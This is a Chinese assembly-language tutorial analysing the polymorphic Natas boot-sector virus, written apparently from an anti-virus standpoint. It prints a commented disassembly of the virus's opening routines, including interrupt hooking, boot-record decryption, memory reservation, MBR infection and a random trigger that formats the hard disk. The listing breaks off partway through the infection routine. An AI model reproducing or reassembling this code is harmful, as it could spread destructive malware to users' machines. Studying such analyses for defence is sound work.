汇编语言全接触-105.Natas 幽灵王病毒的分析

病毒介绍:

Natas 病毒,长度 4744 字节,有的地方有把它称为 4744 病毒,由于病毒是用了变型技术,本身的形态几乎有无穷多种,使杀毒软件总漏掉一两个,不知什么时候又冒了出来,所以又称它为'幽灵王'。

但变型加密技术并不可怕,我认为,查病毒并没有通用的方法,病毒用了多少的代码用于加密,杀毒程序也少不了这么多代码,编病毒的人用了多少时间调试,杀病毒的人只会用更多的时间去分析,从来没有通用的杀毒办法,只要以这种态度去分析病毒,杀毒程序就能把病毒杀完全。君不见,有些杀毒软件刚推出是号称开放式杀毒,永远不用升级,用户自己只要加加病毒库就行了,但到后来,升级升得比谁都快,出一个新病毒一升级,版本号都快把26个字母用完了。

由于 Natas 病毒的长度长达 4744 字节,变型加密部分就用的近 2k,我一时没有时间写具体的杀毒细节,只能尽可能多注释一下。

Natas 病毒是一种恶性病毒,它再启动时有1/512的机会要格式化硬盘。如果发现它,要注意马上杀,不然下一次启动你的硬盘资料可能就完蛋了。具体分析见注释。如果谁有杀毒原程序愿意公布,可以发一份给我。

病毒分析:

9E80:0000 0E PUSH CS

9E80:0001 1F POP DS

9E80:0002 E89400 CALL 0099 ;保存 INT 13/15/21/40

9E80:0005 A27304 MOV [0473],AL ;AL = 0

9E80:0008 A21114 MOV [1411],AL

9E80:000B 8EC0 MOV ES,AX

9E80:000D 5F POP DI

9E80:000E 83EF03 SUB DI,+03

9E80:0011 50 PUSH AX

9E80:0012 57 PUSH DI ;设置执行原引导记录地址

9E80:0013 BE4700 MOV SI,0047 ;解密并恢复原引导区

9E80:0016 E81D00 CALL 0036

9E80:0019 B013 MOV AL,13

9E80:001B BA7204 MOV DX,0472 ;设置新 INT 13 => CS:0472

9E80:001E E8B300 CALL 00D4

9E80:0021 E8EF00 CALL 0113 ;传染硬盘引导区

9E80:0024 84168E00 TEST [008E],DL

9E80:0028 740B JZ 0035

9E80:002A B8FF01 MOV AX,01FF

9E80:002D E83611 CALL 1166 ;产生随机数 < 512

9E80:0030 7503 JNZ 0035 ;如果为 0 转格式化硬盘

9E80:0032 E91304 JMP 0448 ;即每次启动有 1/512 的机会

9E80:0035 CB RETF ;格式化硬盘

;===========================================================================

;加密/解密原引导记录

9E80:0036 8A64FF MOV AH,[SI-01]

9E80:0039 B92900 MOV CX,0029

9E80:003C FC CLD

9E80:003D AC LODSB

9E80:003E 32C4 XOR AL,AH

9E80:0040 D0C4 ROL AH,1

9E80:0042 AA STOSB

9E80:0043 E2F8 LOOP 003D

9E80:0045 C3 RET

9E80:0046 07 FD-3D DC B6 A0 5C C1 FF 11 .}=\6 \A..

9E80:0050 09 A7 40 70 D6 04 B4 19-58 0A 6B CF DE BD 3A 0C .'@pV.4.X.kO^=:.

9E80:0060 0E E0 CB D4 E6 DE 45 42-F0 13 B3 7E F8 BD 0B 4A .`KTf^EBp.3~x=.J

;==========================================================================

; 新引导区入口程序

;==========================================================================

9E80:0070 E80000 CALL 0073 ;重定位

9E80:0073 BF4000 MOV DI,0040

9E80:0076 8EDF MOV DS,DI ;0040:0013

9E80:0078 836DD306 SUB Word Ptr [DI-2D],+06 ;内存减 6K

9E80:007C 8B45D3 MOV AX,[DI-2D]

9E80:007F B10A MOV CL,0A

9E80:0081 D3C8 ROR AX,CL

9E80:0083 8EC0 MOV ES,AX ;高端段地址

9E80:0085 B80902 MOV AX,0209 ;读出病毒 9 扇区

9E80:0088 33DB XOR BX,BX

9E80:008A B9014F MOV CX,4F01 ===> ;CX, DX 值由 0166 设置

9E80:008D BA0001 MOV DX,0100

9E80:0090 CD13 INT 13

9E80:0092 7203 JB 0097

9E80:0094 06 PUSH ES ;转 0000 执行

9E80:0095 53 PUSH BX

9E80:0096 CB RETF

9E80:0097 CD18 INT 18

;===========================================================================

;保存中断开始 5 字节

;INT 13 ===> 13EB

;INT 15 ===> 13F3

;INT 40 ===> 13F7

;INT 21 ===> 13FB

9E80:0099 1E PUSH DS

9E80:009A 33C0 XOR AX,AX

9E80:009C 8ED8 MOV DS,AX

9E80:009E BE4C00 MOV SI,004C ;中断 13

9E80:00A1 BFEB13 MOV DI,13EB

9E80:00A4 56 PUSH SI

9E80:00A5 56 PUSH SI

9E80:00A6 A5 MOVSW

9E80:00A7 A5 MOVSW

9E80:00A8 5E POP SI

9E80:00A9 A5 MOVSW

9E80:00AA A5 MOVSW

9E80:00AB BE5400 MOV SI,0054 ;中断 15

9E80:00AE A5 MOVSW

9E80:00AF A5 MOVSW

9E80:00B0 5E POP SI

9E80:00B1 38067504 CMP [0475],AL

9E80:00B5 7403 JZ 00BA

9E80:00B7 BE0001 MOV SI,0100

9E80:00BA A5 MOVSW

9E80:00BB A5 MOVSW

9E80:00BC BE8400 MOV SI,0084 ;中断 21

9E80:00BF A5 MOVSW

9E80:00C0 A5 MOVSW

9E80:00C1 1F POP DS

9E80:00C2 C3 RET

;=========================================================================

;取中断向量于 ES:BX, 入口 AL = 中断向量号

9E80:00C3 50 PUSH AX

9E80:00C4 32E4 XOR AH,AH

9E80:00C6 D1C0 ROL AX,1

9E80:00C8 D1C0 ROL AX,1

9E80:00CA 93 XCHG AX,BX

9E80:00CB 33C0 XOR AX,AX

9E80:00CD 8EC0 MOV ES,AX

9E80:00CF 26C41F LES BX,ES:[BX]

9E80:00D2 58 POP AX

9E80:00D3 C3 RET

;=========================================================================

;设置中断向量到 DS:DX, 入口 AL = 中断向量号

9E80:00D4 50 PUSH AX

9E80:00D5 53 PUSH BX

9E80:00D6 1E PUSH DS

9E80:00D7 32E4 XOR AH,AH

9E80:00D9 D1C0 ROL AX,1

9E80:00DB D1C0 ROL AX,1

9E80:00DD 93 XCHG AX,BX

9E80:00DE 33C0 XOR AX,AX

9E80:00E0 1E PUSH DS

9E80:00E1 8ED8 MOV DS,AX

9E80:00E3 8917 MOV [BX],DX

9E80:00E5 8F4702 POP [BX+02]

9E80:00E8 1F POP DS

9E80:00E9 5B POP BX

9E80:00EA 58 POP AX

9E80:00EB C3 RET

;========================================================================

;所有寄存器进堆栈

9E80:00EC 2E8F060214 POP CS:[1402]

9E80:00F1 9C PUSHF

9E80:00F2 50 PUSH AX

9E80:00F3 53 PUSH BX

9E80:00F4 51 PUSH CX

9E80:00F5 52 PUSH DX

9E80:00F6 55 PUSH BP

9E80:00F7 56 PUSH SI

9E80:00F8 57 PUSH DI

9E80:00F9 1E PUSH DS

9E80:00FA 06 PUSH ES

9E80:00FB 8BEC MOV BP,SP

9E80:00FD 2EFF260214 JMP CS:[1402]

;=========================================================================

;所有寄存器出堆栈

9E80:0102 2E8F060214 POP CS:[1402]

9E80:0107 07 POP ES

9E80:0108 1F POP DS

9E80:0109 5F POP DI

9E80:010A 5E POP SI

9E80:010B 5D POP BP

9E80:010C 5A POP DX

9E80:010D 59 POP CX

9E80:010E 5B POP BX

9E80:010F 58 POP AX

9E80:0110 9D POPF

9E80:0111 EBEA JMP 00FD

;==========================================================================

;文件执行初始化及启动时传染硬盘子程序

;由 0021 043C 调用

9E80:0113 0E PUSH CS

9E80:0114 0E PUSH CS

9E80:0115 07 POP ES

9E80:0116 1F POP DS

9E80:0117 B80102 MOV AX,0201

9E80:011A BB1314 MOV BX,1413

9E80:011D B90100 MOV CX,0001

9E80:0120 BA8000 MOV DX,0080

9E80:0123 E89509 CALL 0ABB ;读硬盘主引导区

9E80:0126 7230 JB 0158

9E80:0128 38AFBF01 CMP [BX+01BF],CH ;无保留磁道不传染

9E80:012C 742A JZ 0158

9E80:012E 8B8FC401 MOV CX,[BX+01C4] ;取保留磁道扇区数

9E80:0132 83E13F AND CX,+3F ;屏蔽 CX 高位 (柱面高位)

9E80:0135 83E909 SUB CX,+09 ;到数 9 扇区

9E80:0138 761E JBE 0158 ;扇区数小于 9

相关推荐
老鱼说AI18 小时前
深入理解计算机系统1.5:抽象的重要性:操作系统与虚拟机
c语言·开发语言·汇编
猫猫的小茶馆2 天前
【Linux 驱动开发】一. 搭建开发环境
linux·汇编·arm开发·驱动开发·stm32·嵌入式硬件·mcu
猫猫的小茶馆2 天前
【Linux 驱动开发】二. linux内核模块
linux·汇编·arm开发·驱动开发·stm32·嵌入式硬件·架构
切糕师学AI3 天前
ARM 中的 SVC 监管调用(Supervisor Call)
linux·c语言·汇编·arm开发
ベadvance courageouslyミ3 天前
硬件基础中断
汇编·硬件·中断
你爱写程序吗(新H)3 天前
基于单片机的洗衣机控制系统设计 单片机洗衣机控制(设计+文档)
c语言·汇编·单片机·嵌入式硬件·matlab
VekiSon4 天前
ARM架构——用汇编语言点亮 LED
汇编·arm开发·嵌入式硬件
JJCar4 天前
汇编文字池(literal pool)
汇编·文字池·literal pool
乾复道5 天前
巧用终端,每天节省2小时
汇编·经验分享·vim